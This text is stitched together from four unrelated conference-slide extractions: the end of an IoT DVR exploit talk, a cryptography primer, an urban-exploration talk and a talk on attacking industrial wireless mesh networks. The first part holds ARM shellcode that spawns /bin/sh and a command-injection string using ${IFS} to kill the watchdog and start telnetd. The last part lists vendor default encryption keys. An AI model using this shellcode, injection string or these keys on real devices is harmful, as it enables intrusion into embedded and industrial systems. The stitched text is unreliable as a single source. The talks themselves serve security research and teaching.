0x6e69622f \x2f\x62\x69\x6e /bin push {r7} \x80\xb4 mov r0, sp \x68\x46 mov.w r7, #0x64 \x4f\xf0\x64\x07 d push {r7} \x80\xb4 ldr.w r7, [pc, #4] \xdf\xf8\x04\x70 b #6 \x01\xe0 0x6f6d6d72 \x72\x6d\x6d\x6f rmmo push {r7} \x80\xb4 ldr.w r7, [pc, #4] \xdf\xf8\x04\x70 b #6 \x01\xe0 0xff786f62 \x77\x64\x74\xff wdt\xff lsl.w r7, r7, #8 \x4f\xea\x07\x27 lsr.w r7, r7, #8 \x4f\xea\x17\x27 wdt\x00 push {r7} \x80\xb4 eor.w r7, r7, r7 \x87\xea\x07\x07 push {r7} \x80\xb4 mov.w r1, #0x4 \x4f\xf0\x04\x01 add r1, sp, r1 \x69\x44 push {r1} \x02\xb4 mov.w r1, #0xc \x4f\xf0\x0c\x01 add r1, sp, r1 \x69\x44 push {r1} \x02\xb4 mov.w r1, #0x1d \x4f\xf0\x1d\x01 add r1, sp, r1 \x69\x44 push {r1} \x02\xb4 mov r1, sp \x69\x46 eor.w r2, r2, r2 \x82\xea\x02\x02 mov.w r7, #0xb \x4f\xf0\x0b\x07 svc #0x41 \x41\xdf 0x04 漏洞利用 完成利用 Write Script to `sh` #include <stdio.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <unistd.h> void main() { int fd = open("/tmp/XXX", O_CREAT | O_WRONLY, S_IRUSR | S_IWUSR); write(fd, "rmmod${IFS}wdt;telnetd", 22); close(fd); } Video 0x05 总结反思 IoT 漏洞倒逼尝试的安全意识 攻击思路是类似的但不应该是受限的 攻击看结果,防御看过程 From Dvr to See Exploit of IoT Device Sina@Larryxi Larryxi [email protected]
pdf
應用密碼學入門 @HITCON CMT 2018 我是誰 ● Allen Chou ● 我好像沒什麼值得介紹的 ● https://allenchou.cc/ ● GitHub: s3131212 ● [email protected] ● FB: s3131212 背景知識 密碼學是什麼 ● 不是研究怎麼設安全的密碼 ● 不是教你怎麼破解別人 Facebook ● 你不會因為知道密碼學在幹嘛就變成天才駭客 ● 很多數學 ○ 我是說,真的很多 ○ 不過我並沒有打算講很多數學理論 ○ 我自己數學也不好 QQ ● 如果已經沒興趣了,可以趕快離開我不會介意 密碼學是什麼 ● 古典密碼學 ○ 資料保密、傳遞 ○ 密碼破譯 ● 現代密碼學 ○ 古典密碼學的所有東西 ○ 資料完整性驗證(Data integrity) ○ 資料的不可否認性( Non-repudiation) ○ 雜湊函數(Hash) ○ 亂數 ○ 隱寫術(Steganography) ○ ... 常見詞彙解釋 1. 加密 Encrypt:指將明文經過某種程序轉換成密文,該程序稱為加密 2. 解密 Decrypt:指將密文經過某種程序轉換成明文,該程序稱為解密 3. 明文 Plaintext:加密前的訊息 4. 密文 Cipertext:加密後的訊息 5. 演算法 Algorithm:解決複雜問題的程序 6. 密碼學演算法:做與密碼學相關程序(如加密、解密、簽章...)的演算法 7. 金鑰 / 密鑰 Key:加解密時所使用的「鑰匙」 加密 & 解密 明文 密文 加密 解密 加密 & 解密 Alice Bob 明文 密文 加密 密文 明文 解密 公開通道 柯克霍夫原則(Kerckhoffs's principle) ● 即使演算法完全洩漏,只要金鑰沒有洩漏,密文就是安全的 ● Claude Shannon: "the enemy knows the system" ● Bruce Schneier: 任何以隱藏設計作為防護(Security through obscurity)的保安 系統必然會失敗 ● Kerckhoffs's principle 不是說密碼學演算法都必須公開,而是要確保即使公開也 不會傷害安全性 古典密碼學 凱薩密碼(Caesar cipher) ● 好像每次講密碼學都要從他開始講起 Orz ● 加密:簡單來說,就是把字母左右偏移 n 位,方向及 n 作為金鑰 ● 解密:就...挪回來... By Matt_Crypto http://en.wikipedia.org/wiki/File:Caesar3.png (Public domain) By Cepheus https://commons.wikimedia.org/wiki/File:Caesar3.svg (Public domain) 加密(以向左偏三位為例) 解密 凱薩密碼(Caesar cipher) ● 攻擊:暴力破解太簡單,也才 26 種可能 ● 據說凱薩當年就是用往左偏移三個字母來加密的 ○ 阿不過,他的敵人大多不識字 ● 加密(向左偏移三格):hitcon -> efqzlk ● 解密(向右偏移三格):efqzlk -> hitcon 單一字元替代密碼 ● 和凱薩密碼一樣是字母一對一代換,但沒有規律 ● 換字表(密鑰): a -> h b -> e c -> q d -> k ... ● 加密:dcba -> kqeh ● 解密:kqeh -> dcba ● 其實也不一定要換成另一個字母(e.g. 豬圈密碼) 單一字元替代密碼 攻擊:字頻分析(Frequency analysis) 最常出現的字母:e, t, a, o, i 最常出現的單字:the, to, of, and 自動化分析:https://quipqiup.com/ By Nandhp (Public domain) https://commons.wikimedia.org/wiki/File:English_l etter_frequency_(alphabetic).svg 維吉尼亞密碼(Vigenère Cipher) ● 基本上就是一系列的凱薩密碼 明文:platelet is great 密鑰:hitcon(重複填補到明文長度) 密文:wttvsylb bu uelim ● 字頻分析不能用了 QQ ● 沒關係,還是有方法可以破解 卡西斯基試驗(Kasiski examination) 密鑰:ABCDAB CD ABCDA BCD ABCDABCDABCD 明文:CRYPTO IS SHORT FOR CRYPTOGRAPHY 密文:CSASTP KV SIQUT GQU CSASTPIUAQJB 相差 16 位 => 密鑰為 16 的因數 Index of coincidence ● 已知在英文一段有意義的長文中,隨機取兩字母,相同機率為 0.068 ● 已知同樣明文經同樣的密鑰加密後會出來同樣的密文 C --- key=B ---> D ● 以重複間格不斷取密文,其字母重複的機率應該接近 0.068 QPWKALVRXCQZIKGRBPFAEOMFL... Index of coincidence 先把密文拆成 n 行(n=1,2,3…) 並計算每一行的字元出現次數 同一行的所有密文都是用同個金鑰加密 Index of coincidence N = 密文長度 c = 字母數(英文為 26,以下都以英文舉例) ni = 每個字母出現的次數 Index of coincidence 理想數值: fi = 該英文字母理論上出現的頻率 (英文的 ICexpected 約 1.73) Index of coincidence ● 得密鑰長度可能是 5 ● 以 5 字元為單位分隔後,每 行都是一個凱薩加密 ● 每行都做一次字頻分析 ● 組合後可得密鑰 其他有趣的古典密碼 ● 籬笆密碼法 ● 密碼棒 ● Enigma 現代密碼學的基本概念 對稱式加密 明文 密文 用 Key 加密 用 Key 解密 簡單來說,就是加密解密用的 Key 是同一個。 編碼 ● 密碼學是數學,要先把文字轉成數字才能運算 ○ 例如 ASCII(A=41, a=97) ● 有時可能會需要二進制 ○ ASCII 中 A = 0100 0001 , a = 0110 0001 ● 編碼不是加密,可以在沒有金鑰的情況下直接還原出原文 XOR A⊕A = 0 B⊕B = 0 => (A⊕B)⊕A = B (A⊕B)⊕B = A A B A ⊕ B (A⊕B)⊕A (A⊕B)⊕B 0 0 0 0 0 0 1 1 1 0 1 0 1 0 1 1 1 0 1 1 XOR Cipher 加密 解密 Plaintext = Wiki (01010111 01101001 01101011 01101001) Key = 11110011 *4 XOR Cipher 攻擊: ● 已知明文與密文時可以直接回推 Key (明文⊕密文 = 金鑰) ● 遇到一長串 Null (0x00) 時會直接寫出 Key 而這在二進制檔案中是很常見的事情 ● 如果 Key 長度短於 Plaintext,那基本上就是變種的維吉尼亞密碼 ○ 卡西斯基試驗 ○ Index of coincidence ● 如果 Key 長度等於 Plaintext,又 Key 完全隨機且不重用(即 One Time Pads) 是被證實無法破解的(暴力破解也不可行) AES(Rijndael) ● 美國國家標準局 NIST 於 1997 年開始徵選下一代的對稱式加密系統 ○ 稱為 Advanced Encryption Standard,簡稱 AES ○ 要求實作程式碼必須公開(不允許 Security by obscurity) ○ 必須無償給所有人使用 ○ 除安全性外要考慮效能、記憶體使用量、是否易於實作等 ○ 由全世界所有專家一起研究與評比 ● 最後由比利時密碼學家 Joan Daemen 和 Vincent Rijmen 設計的 Rijndael 獲勝 ● 金鑰長度(Key sizes):128, 192 or 256 bits ● 區塊長度(Block sizes):128 bits ○ 換而言之,AES 規定一次只能加密 128 bits ● 嚴格來說,AES(規範) 是 Rijndael(演算法) 的 subset 串流加密 vs 區塊加密 串流加密: 1. 逐 bit 加密 2. 明文不斷「流」進加密器 3. 金鑰通常為一個 seed 生成 Keystream 4. 常用於需要即時回應,或是訊息長度未定 的情況 5. 常見演算法:Xor Cipher, Salsa20 區塊加密: 1. 一次加密 n 個 bits 2. 一整塊資料塞進加密器 3. 金鑰就是一個字串 4. 常用於已知訊息長度的情況 5. 常見演算法:AES, DES Block cipher mode of operation ● 區塊加密的對稱式加密演算法通常只能加密特定長度或是長度在一定範圍內的 訊息(稱為 Block size) ● 如何用同一個加密演算法與同一個金鑰加密比 Block size 還要長的訊息? ● 將很長的訊息切成數個長度為該演算法之 Block size 的區塊(Blocks) ● 以下只介紹幾個常見的 mode ECB 直接把每個 block 個別加密 問題: ● 同樣的 block 會被加 密成同樣的密文 ● block 可以被任意調 換位置 ● 重送攻擊 By Lunkwill http://en.wikipedia.org/wiki/Image:Tux_ecb.jpg CBC ● 一定要等前一個 block 加密完才能往後加密 ● 將前一個 block 的 ciphertext 設為初始向量 (IV),第一個 block 可以 自訂 IV ● 若密文有某個 block 的 bit 錯誤,只會影響該 block 及下一個 block 的 解密 ● 若密文有某個 block 的 bit 遺失,則會影響後續 所有 block 的解密 CTR ● counter 從 0 開始遞加 ● nonce 為隨機生成 ● 模擬 Stream Cipher ● 可以同步加解密 ● 丟失任何 block 都不影響其 他 block 的解密 Padding ● 訊息長度不一定剛好為 block size 的整數倍 ● 需要某種方式把最後一個 block 「填滿」 ● PKCS7:缺 N bytes 就用 N 帶入 ○ 缺 1 bytes 就用 0x01 填滿 ○ 缺 2 bytes 就用 0x02 填滿 ○ 不要和 CBC Mode 一起使用(Padding Oracle Attacks) ● ANSI X.923:最後一個 byte 填寫有多少空缺,用 null bytes 填滿其餘空位 ○ DD DD DD DD 00 00 00 04 ● ZeroPadding:就全部用 null byte 填滿 Padding Oracle Attack ● CBC + PKCS7 ● 場景: ○ 解密成功,內容正確:HTTP 200 OK, correct ○ 解密成功,內容錯誤:HTTP 200 OK, error ○ 解密失敗:HTTP 500 ● 常見於 Web 的漏洞(e.g. CVE-2010-3332) Padding Oracle Attack 圖皆取自 Fun with Padding Oracles - OWASP Padding Oracle Attack Padding Oracle Attack Padding Oracle Attack Padding Oracle Attack Padding Oracle Attack Padding Oracle Attack Padding Oracle Attack Padding Oracle Attack 剛剛推出來的中間值 原本就知道的 IV 兩者 XOR 得明文 其實我寫了一個程式可以繞過密碼 - yoyodiy Padding Oracle Attack ● 並不是演算法本身安全,密文就不會被破解 ● 正確使用演算法、cipher mode、padding mode ● 預防方式 ○ 解密前確認密文沒被竄改(訊息認證碼 MAC) ○ 隱藏錯誤訊息(Timing Attack ?) ○ 不要用 CBC Mode 金鑰分配問題 Alice 如何安全的把金鑰送給 Bob? ● 事先約定 ○ Alice 把金鑰寫在紙條上, 偷偷拿給 Bob ● 金鑰管理 ● 非對稱式加密系統 ○ 有兩把金鑰,用於加密的可以公開給別人,用於解密的要私藏 ● Diffie-Hellman key exchange ○ 可以靠著溝通創造出共有金鑰而讓竊聽者無法得知該金鑰 非對稱式加密 加密解密使用不同的 Key 明文 密文 用 Public Key 加密 用 Private Key 解密 非對稱式加密 1. Bob 要傳訊息給 Alice 2. Bob 拿 Alice 的公鑰 (Public Key) 對 訊息加密 3. Bob 傳加密過後的訊息給 Alice 4. Alice 拿自己的私鑰 (Private Key)對 訊息解密 非對稱式加密 ● Public Key 可以公開 ● Private Key 必須自己保存 ● 任何人都可以用 Alice 的 Public Key 加密訊息 ● 只有 Alice 能將這些訊息以她的 Private Key 解密 ● 常見演算法:RSA, ElGamal, ECC ● 運算速度比對稱式加密慢很多,故現在幾乎都是混合對稱式加密(Hybrid cryptosystem) ○ Alice 生成一個會議金鑰( Session Key),以會議金鑰對稱式加密訊息 ○ Alice 以非對稱式加密拿 Bob 的 Public Key 加密會議金鑰 ○ 兩者合併傳送給 Bob ○ Bob 用自己的 Private Key 解開會議金鑰 ○ Bob 以會議金鑰解密訊息 RSA ● 最常見的非對稱式加密系統 ● 基於大數質因數分解困難 ● Ron Rivest、Adi Shamir、Leonard Adleman 共同發明 RSA 製作 Public Key 與 Private Key: 1. 選擇 2 個超大相異質數 p, q 並計算 N = pq 2. 計算 r = (p-1) × (q-1) 3. 選一整數 e 滿足 e < r 且 gcd(e, r) = 1 4. 尋一整數 d 滿足 ed ≡ 1 (mod r) 5. 銷毀 p 與 q,得 Public Key (N, e) 與 Private Key (N, d) 加密與解密: 1. Bob 要傳訊息給 Alice,訊息依據特定方法 轉成整數 m 滿足 m < N 2. Alice 將 Public Key (N, e) 交給 Bob 3. Bob 運算 c ≡ me (mod N) 得 c 並交給 Alice (加密) 4. Alice 運算 cd ≡ m (mod N) 得 m ,再依約 定方法轉回原始內容(解密) 其實看不懂沒關係啦 ... 維基百科上有很詳細的證明可以讀 RSA Padding ● 解決 RSA 的一些神奇特性所造成的問題: ○ 同樣明文、同樣金鑰會得同樣密文 ○ 當 me < N,me (mod N) = me ○ 0e = 0 1e = 1 ○ Homeomorphic Property: RSA(k,A) × RSA(k,B) = RSA(k,A×B) ● 訊息一定要先處理過才能 RSA 加密 ● 常見:PKCS#1 padding, OAEP OAEP ● Optimal Asymmetric Encryption Padding ● 欲加密訊息 m,隨機生成亂數 r ● 加密: ○ X=(m+000...) ⊕ G(r) Y = r ⊕ H(X) ○ 其中 G, H 是公開的 Hash 函數 ○ RSA 加密 (X||Y) ● 解密: ○ RSA 解密得 (X||Y) ○ r = Y ⊕ H(X) ○ m+000...= X ⊕ G(r) Diffie-Hellman key exchange ● 可以靠著溝通創造出共有金鑰而讓竊聽者無法得知該金鑰 ● 基於離散對數問題 ● 由 Ralph C. Merkle、Bailey Whitfield Diffie、Martin Edward Hellman 提出 Diffie-Hellman key exchange 1. Alice 與 Bob 約定使用 p=23, g=5 2. Alice 創造一個整數 a=6 並保密 並計算 A = ga mod p 並傳給 Bob。 A = 56 mod 23 = 8 3. Bob 創造一個整數 b=15 並保密 並計算 B = gb mod p 並傳給 Alice。 B = 515 mod 23 = 19 4. Alice 計算 s = Ba mod p 196 mod 23 = 2 5. Bob 計算 s = Ab mod p 815 mod 23 = 2 密碼學用於資料與身份驗證 雜湊函數(Hash) ● 將任意長度的字串轉成固定長度 ● Avalanche effect:字串有些微變動,Hash 差異很大 ○ md5(1234) = 81dc9bdb52d04dc20036dbd8313ed055 md5(1235) = 9996535e07258a7bbfd8b132435c5962 ● Pre-image resistance:可以從 X 算出 Hash(X),但無法從 Hash(X) 算出 X ● Second-preimage resistance:已知 X,很難找到 X’ 符合 Hash(X) = Hash(X’) ● Collision resistance:很難找到兩個不同字串 X 與 X’ 符合 Hash(X) = Hash(X’) ● 例如:md5, sha256, Argon2 雜湊函數(Hash) 用途: ● 驗證資料完整性(Data integrity) ○ 用不安全通道傳很大的檔案 用安全通道傳該檔案的 Hash 以節省加密解密所需的資源 ● 在不取得明文的情況下驗證資料正確性 ○ 儲存使用者密碼的 Hash 在資料庫,確保管理員看不到使用者密碼的明文 訊息認證碼(MAC) ● Message authentication code ● 驗證完整性 ● 可驗證是誰傳來的 ○ 只有當密鑰只有 sender 和 recipient 知道時成立 ● 常用的有 HMAC(帶有密鑰功能 的 Hash) 和 CBC-MAC(用 Block Cipher 創 造 MAC) 數位簽章(Digital Signature) ● 類似於在紙上簽名,證明這份資料是我認可的 ● 只有擁有私鑰的人可以簽章,所有人都可以驗證簽章 ● 因為訊息很長,所以通常會先將訊息 Hash 過再簽章 ● 基於非對稱式加密系統的應用 ● 具有不可否認性(Non-repudiation) 數位簽章(Digital Signature) 1. Alice 想要簽一筆資料 D 2. Alice 把 D 拿去算 hash 得 H 3. Alice 拿自己的私鑰對 H 簽章得 S 4. Alice 把 (D, S) 傳給 Bob 5. Bob 拿 D 去算 hash 得 H’ 6. Bob 把 S 用 Alice 的公鑰驗證得 H 7. 比較 H 與 H’ 是否一樣 https://en.wikipedia.org/wiki/File:Digital_Signature_diagram.svg 由 FlippyFlink 以創用CC 姓名標示-相同方式分享 4.0 國際 公開 Hash vs. MAC vs. Digital Signature 完整性:Bob 可以確認 Alice 傳來的訊息是完整的,沒有缺漏或被意外更改 可驗證性:Bob 可以確認訊息確實是 Alice 傳來的 不可否認性:Bob 把訊息拿給第三方,第三方可以確認該訊息是 Alice 傳的,       且 Alice 無法不承認這個訊息源自於她 Hash MAC Digital Signature 完整性 Integrity Yes Yes Yes 可驗證性 Authentication No Yes Yes 不可否認性 Non-repudiation No No Yes Man-in-the-middle attack Alice Bob 明文 密文 加密 密文 明文 解密 公開通道 Man-in-the-middle attack Alice Bob 明文 加密 Mallory 密文 解密 明文 明文 加密 密文 解密 明文 Alice 如何知道他拿到的公鑰真的是 Bob 的? Certificate Authority ● 負責身份驗證並發放、管理、註銷憑證的 權威機構 ● 大家都信任這個機構發放的簽章 亂數 亂數(Random number) 密碼學中,使用亂數的時機: ● 生成金鑰 ● 生成 Nonce ● 生成 IV 亂數(Random number) 由 Seed 搭配演算法產出亂數(具有確定性): ● 偽亂數生產器 Pseudorandom number generator,簡稱 PRNG ● 密碼學安全偽亂數生成器 Cryptographically secure pseudorandom number generator,簡稱 CSPRNG 由物理世界的現象產出亂數(不具有確定性): ● 真亂數生成器 True random number generator,簡稱 TRNG 亂數(Random number) ● Seed 很重要 ● key = srand(time(NULL)) ● 如果已知 PRNG 與大略的生成時間 Orz ● 請使用 /dev/urandom 和 CryptGenRandom ● 演算法不要亂來,請用 NIST 系列的(DUAL_EC_DRBG 除外) 亂數(Random number) 隨機性:看起來夠亂,沒有規律,所有數字分佈平均 不可預測性:無法從之前的亂數數列猜出下一個亂數的值 不可重複性:以後不可能再有同樣的數列 隨機性 不可預測性 不可重複性 PRNG O X X CSPRNG O O X TRNG O O O 只有 CSPRNG 和 TRNG 可以用於密碼學 那些沒時間介紹但很有趣的東西 ● Feistel cipher ● Merkle–Damgård construction ● Length Extension Attack ● PGP ● SSL/TLS ● Public key infrastructure ● Merkle Tree ● Secret Sharing ● Zero-Knowledge Proof ● Blind Signature ● Homomorphic encryption ● ... 密碼學的世界還在快速發展著呢! 慟!怎麼學都學不完啊 Orz 圖:https://github.com/ry/deno/issues/25 https://gotyour.pw/ 謝謝大家 <(_ _)> References ● 密碼學與網路安全應用 - 結城浩(旗標) ● Understanding Cryptography: A Textbook for Students and Practitioners - Christof Paar, January Pelzl (Springer) ● https://en.wikipedia.org/wiki/Cryptography ● https://en.wikipedia.org/wiki/Kerckhoffs%27s_principle ● https://en.wikipedia.org/wiki/Substitution_cipher ● https://en.wikipedia.org/wiki/Caesar_cipher ● https://en.wikipedia.org/wiki/Classical_cipher ● https://en.wikipedia.org/wiki/Vigen%C3%A8re_cipher ● https://en.wikipedia.org/wiki/Index_of_coincidence ● https://zh.wikipedia.org/wiki/ASCII ● https://reverseengineering.stackexchange.com/questions/2062/what-is-the-most-efficient-way-to-detect-and-to-break- xor-encryption ● https://stackoverflow.com/questions/1135186/whats-wrong-with-xor-encryption ● https://en.wikipedia.org/wiki/XOR_cipher ● https://en.wikipedia.org/wiki/Advanced_Encryption_Standard ● https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation ● http://securitylesson.blogspot.com/2012/02/blog-post_15.html References ● https://en.wikipedia.org/wiki/Public-key_cryptography ● https://en.wikipedia.org/wiki/Hybrid_cryptosystem ● https://en.wikipedia.org/wiki/RSA_(cryptosystem) ● https://blog.cryptographyengineering.com/2018/04/07/hash-based-signatures-an-illustrated-primer/ ● https://crypto.stackexchange.com/questions/5646/what-are-the-differences-between-a-digital-signature-a-mac-and-a- hash ● https://en.wikipedia.org/wiki/Padding_(cryptography) ● https://www.owasp.org/images/e/eb/Fun_with_Padding_Oracles.pdf ● https://en.wikipedia.org/wiki/Cryptographically_secure_pseudorandom_number_generator ● https://en.wikipedia.org/wiki/Avalanche_effect ● https://en.wikipedia.org/wiki/Diffie%E2%80%93Hellman_key_exchange ● https://speakerdeck.com/inndy/no-more-crypto-fails ● https://gpgtools.tenderapp.com/kb/faq/what-is-ownertrust-trust-levels-explained 那些被刪掉的簡報 不要自己設計密碼演算法 ● 現在主流的演算法都是公開並經過許多密碼學家驗證過,絕對比你自己設計的 演算法安全 ● 所以永遠不要使用自己設計的密碼系統 ○ 除非你已經成為密碼學專家了 CFB ● 類似 CBC ● 模擬 Stream Cipher ● IV 作為 Seed ● 當遺失整個 block 時並不 影響後續加密 ● 重送攻擊 ● 請改用 CTR GCM ● Galois/Counter Mode ● GMAC + CTR ● 兼具資料加密(CTR)與驗證(GMAC) ● 一種認證加密(Authenticated encryption)的 模式 ● Google 與 Facebook 都在用 GCM 做加密
pdf
Urban Exploration - A Hacker’s View phreakmonkey (K.C.) mutantMandias (Mandias) phreakmonkey.com Background: What is Urban Exploration? Urban Exploration is the practice of discovering, exploring, and often photographing the more “off-beat” areas of human civilization. “This hobby consists of a lot more than just poking about in abandoned buildings and storm drains and hanging out on web boards trying to impress people. Being an urban explorer is a whole way of looking at the world, where every ladder, door, window, grate and hole in the ground is a possible portal to adventure.” - Jeff Chapman (“Ninjalicious”), 2004 What do we explore? Civil Buildings: Hospitals, Schools, Institutions Industrial Buildings: Factories, Transportation Utilities & Infrastructure: Steam Tunnels, Storm Drains, Utility Corridors Residential Hotels, High-rises, Houses (“Shanties”) The UrbEx Subculture Jeff Chapman (“Ninjalicious”) coined “Urban Exploration” & operated the zine “Infiltration” from 1996 – 2005. Several web communities have sprung up over the last ten years. UER.CA (mostly USA) DegGi5.com (NE USA) 28dayslater.co.uk (UK) Others... Explorers vs. Tourists vs. Scenesters Birds of a Feather What Urban Explorers and Computer Hackers have in common Perspective "Behind-the-scenes" view of the word Ability to look at things abstractly Willing to use non-standard entry points Secrecy Built around a subculture with counterculture tendencies Distrusting of newbies Hesitant to allow outsiders in Script Kiddies and Tourists Gray Area Activities Do you use your powers for good or for awesome? Sense of "moral superiority" while engaging in legally questionable behavior Birds of a Feather What Urban Explorers and Computer Hackers have in common Frighteningly similar lack of fashion sense. Black t-shirts are the shiznit, yo! Social Engineering Incredibly effective in UrbEx and Hacking Higher stakes (walking away vs. county lock-up) Exploitation by others Taggers vs. Website Defacers Scrappers vs. Phishers Drug labs, gangs, and k1dd1e-pr0n collectors. So you want to be an explorer... Safety This is a hobby. We do it for fun. Dying is not fun. Off-limits areas do not have to meet safety codes. Abandoned buildings may not be structurally sound. Hazardous materials may be present. Hazardous people may be present. In the basement of an abandoned building, no one can hear you scream. Urban Exploring can be dangerous, even if you do everything right. Safety: Rules to Live By The "do list:" Tell someone exactly where you are going, and check in later. Carry a cellphone. Carry as many flashlights as you need + 1. Be very wary of water-damaged floors. Move slowly; look, then move. Wear well fitting, covering clothing that you won't mind tearing. Wear waterproof, sturdy shoes or boots Consider whether gloves, a mask, or other safety equipment are appropriate. Safety: Rules to Live By The "don't list:" Never explore alone. Do not step/crawl/move where you can't see. Do not put any body part you want to keep through a hole of jagged metal or broken glass. Do not climb anything unsturdy. Do not move while looking through a camera. Do not let doors close behind you without checking their openability from both sides. Do not touch, taste, or smell unusual substances to figure out what they are. Safety: Health Hazards Asbestos There is no known "safe level" of asbestos exposure Mesothelioma develops > 10 years later Deadly Asphyxiation Enclosed spaces Subterranean spaces Often, no indications of "bad air" until you pass out Disease Exposure Pigeon / Rat / Animal waste Human Waste Tetanus, Hepatitis A & B are all preventable with vaccines. Chemical Exposure PCBs, acids, toxic waste all may be present in industrial locations Research the facility before you enter the premesis Wear protective clothing or masks when appropriate. Legality* Trespass laws vary state by state. Look yours up. There is nothing wrong with getting permission! Don't break the law! Avoid: Theft Vandalism Breaking and Entering Possession of Burglary Tools The appearance of any of the above Disregarding these rules not only puts you at risk, but makes life harder for the "legitimate" explorers. * Disclaimer: I am not a lawyer, and nothing in this presentation is intended to be legal advice. If in doubt, consult an attorney. No Lock Picks! Stealth Appearance Dress to look convincing , not cool. Walk & act "casual, but confident." Credibility Props - coined by Ninjalicious. Alone vs. small groups vs. big groups Be aware of your visibility and act accordingly. Parking What to do when confronted. Introduce yourself first. Be friendly and non-confrontational. Offer to leave peacefully. Do No Harm Subscribe to the Sierra Club motto: "Take nothing but photographs, leave nothing but footprints." Vandalism or B&E increases your likelihood of criminal charges Creating new or obvious points-of-entry (PoE) invites graffiti, theft, squatters, &etc. Be respectful of property owners & future explorers by not changing anything. Life-cycle of an Abandonment Secured Boarded up windows Chained doors Locked Fences Infiltrated Break-in by scrappers, taggers, homeless, &etc At least one Point of Entry (PoE) PoE possibly concealed from view Promiscuous Accessibility well established Multiple PoEs Regular occupancy by taggers, homeless, teenagers, explorers Rapid deterioration of site (graffiti, trash, theft, &etc) Incident Injury, death, murder, or arrest made on site Police involvement Property owner contacted, cycle repeats. Discovering Locations Open your eyes! Check likely areas of town for the types of facilities you are interested in. Railroad tracks Industrial Areas Downtown Areas Commercial Property Listings Using the Internet Google Earth / Satellite / Street View Web searches. (ugh. I mean, really, do this last. ) Do not ask explorers online "Where is that location?" akin to emailing someone from #hack and saying "Can I have a 0day for xyz?" For More Information Access All Areas - Ninjalicious Confessions of a Master Jewel Thief - Bill Mason Infiltration Zine - infiltration.org Urban Explorers: Into the Darkness (a film by Melody Gilbert / Channel Z Films) Cities of the Underworld (TV) (UrbEx-esque documentary on the History Channel) Music Videos? :-P Q&A / Audience Stories
pdf
It WISN't me, attacking industrial wireless mesh networks DEF CON 26 Introduction Erwin Paternotte Lead security consultant @stokedsecurity Mattijs van Ommeren Principal security consultant @alcyonsecurity 15.7.2018 2 Previous research WirelessHART A Security Analysis, Max Duijsens, Master (2015) - https://pure.tue.nl/ws/files/47038470/800499-1.pdf Attacking the plant through WirelessHART, Mattijs & Erwin, S4 Miami (2016) -https://www.youtube.com/watch?v=AlEpgutwZvc Denial of service attacks on ICS wireless protocols, Blake Johnson, S4 Miami (2018) – slides/video no longer available Wright’s principle: “Security does not improve until practical tools for exploration of the attack surface are made available.” 15.7.2018 3 Industrial (r)evolution A brief history of control systems: ~1940: Air: Pneumatic logic systems: 3 - 15 psi Mid 1950: Analog: Current loop: 4 - 20 mA Mid 1980: Digital: HART, Fieldbus, Profibus Late 2000: Wireless mesh networks WirelessHART ISA 100.11a 15.7.2018 4 Industrial process control loop 15.7.2018 5 Introduction to WirelessHART Supports HART application layer Single encryption cipher/key length (AES CCM*) Wireless technology based on Time Synced Mesh Protocol developed by Dust Networks Radio SoC exclusively provided by Dust Networks 15.7.2018 6 Introduction to ISA 100.11a Relies on several standards: 6LoWPAN/IPv6/UDP Ability to tunnel other protocols Vendor neutral application layer Mainly developed by Nivis Generic 802.15.4 chips provided by multiple vendors: STM, NXP, Texas Instruments, OKI 15.7.2018 7 WISN topology 15.7.2018 8 Protocol stacks 15.7.2018 9 Common denominators 802.15.4 MAC layer at 2.4 Ghz Time Slotted Channel Hopping in order to: Minimize interference with other radio signals Mitigate multipath fading Centralized network & security manager orchestrates communication between nodes Concluded that developing a common sniffer for both protocols should be possible 15.7.2018 10 WirelessHART & ISA100.11a Security AES CCM* (CBC-MAC with counter mode) Network Layer (integrity only) Transport Layer (encryption) Join process Handshake with Network Manager Shared secrets Certificates (ISA100.11.a only) 15.7.2018 11 Keys galore ISA100.11a Global Key – well-known K_open – well-known K_global – well-known Master Key – derived during provisioning D-Key – Hop-by-hop integrity T-KEY – End-to-end encryption 15.7.2018 12 WirelessHART Well-known Key – Advertisements Network Key – Hop-by-hop integrity Join Key – Join process Broadcast Session Key – End-to-end Unicast Session Key – End-to-end How to obtain key material Default keys Documented, more or less Sniffing During OTA provisioning (ISA100.11a) Keys stored in device NVRAM Recoverable through JTAG/SPI (as demonstrated by our previous research) 15.7.2018 13 WirelessHART default keys 445553544E4554574F524B53524F434B – Multiple vendors DUSTNETWORKSROCK E090D6E2DADACE94C7E9C8D1E781D5ED – Pepperl+Fuchs 24924760000000000000000000000000 – Emerson 456E6472657373202B20486175736572 – Endress+Hauser Endress + Hauser 15.7.2018 14 Sniffer hardware selection NXP BeeKit Single channel 802.15.4 with standard firmware (not open source), reached EOL 15.7.2018 15 BeamLogic 802.15.4 Site Analyzer 16 channels simultaneously, no injection support, Basic Wireshark dissector, Expensive (~ $1300) Atmel RZ Raven Single channel 802.15.4 with standard firmware, no free IDE (Atmel Studio n/a), reached EOL NXP USB-KW41Z Single channel 802.15.4 with standard firmware (not open source) Actively supported Free IDE available Powerful microcontroller (Cortex M0+) PCB ready for external antenna (Wardriving!) Easy firmware flashing via USB mass storage (OpenSDA) Documentation and examples, but with a few important omissions 15.7.2018 16 Demo 1: NXP sniffer application 15.7.2018 17 USB-KW41Z <-> host communication Hardware is detected as virtual COM/UART port (Windows/Linux) Freescale Serial Communication Interface (FSCI) developed by NXP for communication between host and device firmware. Host SDK for FSCI is available (with Python bindings) FSCI protocol is fairly well documented Allowed us to communicate directly with the USB-KW41Z without requiring the SDK to be installed 15.7.2018 18 USB-KW41Z block diagram 15.7.2018 19 Building the toolset Extended the KillerBee framework with a driver for the USB-KW41Z Allows us to comfortably capture 802.15.4 traffic into PCAP format Developed Scapy protocol support Allows us to forge and inject packets Developed Wireshark dissectors for WirelessHART and ISA100.11a Bringing WISN packet viewing to the masses Live capture and dissecting of WISN traffic on a single channel at the time 15.7.2018 20 Demo 2: Sniffing traffic with KillerBee and Wireshark 15.7.2018 21 Theory Time Slotted Channel Hopping 15.7.2018 22 Implementing Time Slotted Channel Hopping Both protocols require high speed channel hopping via predefined, but different patterns. FSCI communication too slow to tune into time slots (10ms) Solution: implement channel hopping in firmware Two layers of encryption/authentication Solution: Implement in host software (Killerbee) Ability to inject traffic FSCI supports injection of arbitrary frames Solution: Implement frame injection in Killerbee, add protocol support to Scapy for crafting packets 15.7.2018 23 Demo 3: Sniffing with channel hopping 15.7.2018 24 Unauthenticated attacks Signal jamming through continuous power emission Concurrent packet transmission Join slot jamming Selective jamming transmitter communication Transmitting fake advertisements 